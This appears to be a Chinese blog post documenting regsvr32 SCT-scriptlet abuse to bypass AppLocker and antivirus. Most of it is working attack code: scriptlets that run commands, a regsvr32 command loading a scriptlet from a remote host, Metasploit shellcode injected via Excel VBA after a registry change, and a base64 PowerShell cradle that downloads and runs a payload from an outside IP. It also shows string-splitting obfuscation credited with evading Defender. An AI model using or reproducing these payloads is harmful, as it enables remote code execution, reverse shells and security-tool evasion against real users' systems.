regsvr32
1.远程加载sct文件执行命令
该手段的作用在于AWL(APPLICATION WHITELISTING，微软应用白名单策略：https://www.4hou.com/posts/4960)绕过，在windows10上绕过applocker这个东西不起作用了。。。。。
老外做的测试： https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
1）sct文件的内容应该是类似于下面这种，文件后缀不一定是sct，但是文件的内容要是xml的格式.
<?XML version="1.0"?>
<scriptlet>
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
2）命令：regsvr32 /s /n /u /i:http://192.168.2.124:8888/1.sct scrobj.dll
(1).执行系统命令
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
<public>
<method name="Exec"></method>
</public>
</scriptlet>
补充：
看到鸿鹄实验室发的文章，发现windows10绕过defender还是可以用的，但是applocker是直接对scrobj.dll进行的限制，所以好像还是不行。。。。
这个class id 如果用上面这个是会被杀的。。。
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}"
>
<script language="JScript">
<![CDATA[
var test = "WScript.Shell";
var f = "calc";
f.concat(".","e","x","e");
var r = new ActiveXObject(test).Run(f);
]]>
</script>
</registration>
<public>
<method name="Exec"></method>
</public>
</scriptlet>
使用wireshark抓取请求的数据包发现，在使用过远程加载sct的方式一次后，再次请求会直接加载缓存中的文件，但是通过检索.SCT又找不到该文件的位置，这就很离谱，但是可以确定的是肯定落地了，还可以通过安全日志查到
(2).使用msf生成的反弹shell上线（使用msf生成的vba代码中的数组替换下面的代码中的数组）失败
注意事项：
1.在win7+office 2010测试
2.msf生成的payload为32位原始payload，x64或混淆了均弹不回来
<?XML version="1.0"?>
<scriptlet>
<registration
progid="CalcShellcode"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- Orginal Shellcode Example : https://www.scriptjunkie.us/2012/01/direct-shellcode-execution-in-ms-office-macros/ -->
<script language="JScript">
<![CDATA[
var objExcel = new ActiveXObject("Excel.Application");
objExcel.Visible = false;
var WshShell = new ActiveXObject("WScript.Shell");
var Application_Version = objExcel.Version;//Auto-Detect Version
var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM";
WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
var objWorkbook = objExcel.Workbooks.Add();
var xlmodule = objWorkbook.VBProject.VBComponents.Add(1);
strCode = '#If Vba7 Then\n'
strCode += 'Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr\n'
strCode += 'Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr\n'
strCode += 'Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr\n'
strCode += '#Else\n'
strCode += 'Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long\n'
strCode += 'Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long\n'
strCode += 'Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long\n'
strCode += '#EndIf\n'
strCode += '\n'
strCode += 'Sub ExecShell()\n'
strCode += ' Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long\n'
strCode += '#If Vba7 Then\n'
strCode += ' Dim Xlbufvetp As LongPtr\n'
strCode += '#Else\n'
strCode += ' Dim Xlbufvetp As Long\n'
strCode += '#EndIf\n'
strCode += 'Hyeyhafxp = Array(232,130,0,0,0,96,137,229,49,192,100,139,80,48,139,82,12,139,82,20,139,114,40,15,183,74,38,49,255,172,60,97,124,2,44,32,193,207,13,1,199,226,242,82,87,139,82,16,139,74,60,139,76,17,120,227,72,1,209,81,139,89,32,1,211,139,73,24,227,58,73,139,52,139,1,214,49,255,172,193, _\n'
strCode += '207,13,1,199,56,224,117,246,3,125,248,59,125,36,117,228,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,95,95,90,139,18,235,141,93,104,51,50,0,0,104,119,115,50,95,84,104,76,119,38,7,137,232,255,208,184,144,1,0, _\n'
strCode += '0,41,196,84,80,104,41,128,107,0,255,213,106,10,104,192,168,2,124,104,2,0,17,92,137,230,80,80,80,80,64,80,64,80,104,234,15,223,224,255,213,151,106,16,86,87,104,153,165,116,97,255,213,133,192,116,10,255,78,8,117,236,232,103,0,0,0,106,0,106,4,86,87,104,2,217,200,95,255,213, _\n'
strCode += '131,248,0,126,54,139,54,106,64,104,0,16,0,0,86,106,0,104,88,164,83,229,255,213,147,83,106,0,86,83,87,104,2,217,200,95,255,213,131,248,0,125,40,88,104,0,64,0,0,106,0,80,104,11,47,15,48,255,213,87,104,117,110,77,97,255,213,94,94,255,12,36,15,133,112,255,255,255,233,155, _\n'
strCode += '255,255,255,1,195,41,198,117,193,195,187,240,181,162,86,106,0,83,255,213)\n'
strCode += ' Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)\n'
strCode += ' For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)\n'
strCode += ' Wyzayxya = Hyeyhafxp(Zolde)\n'
strCode += ' Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)\n'
strCode += ' Next Zolde\n'
strCode += ' Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)\n'
strCode += 'End Sub\n'
xlmodule.CodeModule.AddFromString(strCode);
objExcel.Run("ExecShell");
objExcel.DisplayAlerts = false;
objWorkbook.Close(false);
]]>
</script>
</registration>
</scriptlet>
其利用了excel宏vba的方式加载shellcode，经过测试直接将msf生成的vba代码写入excel宏中能够执行成功，但是通过远程加载sct文件的方式就有问题，是这代码有问题吗。。。。代码参考的这个老哥的：[添加链接描述](https://gist.github.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba)
上线就死，估计是这种方式执行完就自己杀掉了线程？不懂啊
(3).使用powershell上线
首先使用msf生成powershell攻击代码：
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHcALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB3AC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMwAuADUANAA6ADgAOAA4ADgALwA3AHcAeAB1AHAANwBrAHAAYgB2AG4AQwBEAC8AdgBlAGcAcgBMAGIAOQBEAG4AdgAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMwAuADUANAA6ADgAOAA4ADgALwA3AHcAeAB1AHAANwBrAHAAYgB2AG4AQwBEACcAKQApADsA
1.当目标机器安装了360的情况下，不管脚本中是不是执行的powershell命令，都会被拦截：
2.使用火绒的情况，提示隐藏执行powershell：
那么将msf生成的powershell再base64一下看看，powershell的base64中间好像是插入的什么字符的，用在线base64编码后是无法运行的，因此先用powershell对要执行的命令base64一下（注意）：
$string = '要编码的内容'
function ConvertTo-Base64String([string]$string)
{
$byteArray = [System.Text.UnicodeEncoding]::Unicode.GetBytes($string)
[Convert]::ToBase64String( $byteArray )
}
ConvertTo-Base64String($string)
还是会拦截的：
3.当启用windows defender的情况
defender对.SCT查杀是非常严格的，当我们使用最普通的脚本时：
马上就被杀了：
做一下混淆：
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}"
>
<script language="JScript">
<![CDATA[
var a = "po";
var b = a.concat("w","e","r","s","h","e","l","l");
var c = b.concat(".","e","x","e");
var d = "WS";
var e = "cript";
var h = ".";
var i = "S";
var j = "hell";
var test = d+e+h+i+j;
var foo = new ActiveXObject(test).Run(c+" -Ex Bypass"+" -en"+"c cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAIgBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADMALgAxADkAOAA6ADgAMAAvAGEAJwApACkAIgA=");
]]>
</script>
</registration>
<public>
<method name="Exec"></method>
</public>
</scriptlet>
绕过了静态查杀：
但是下载的马被defender杀了。。。。：
454
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
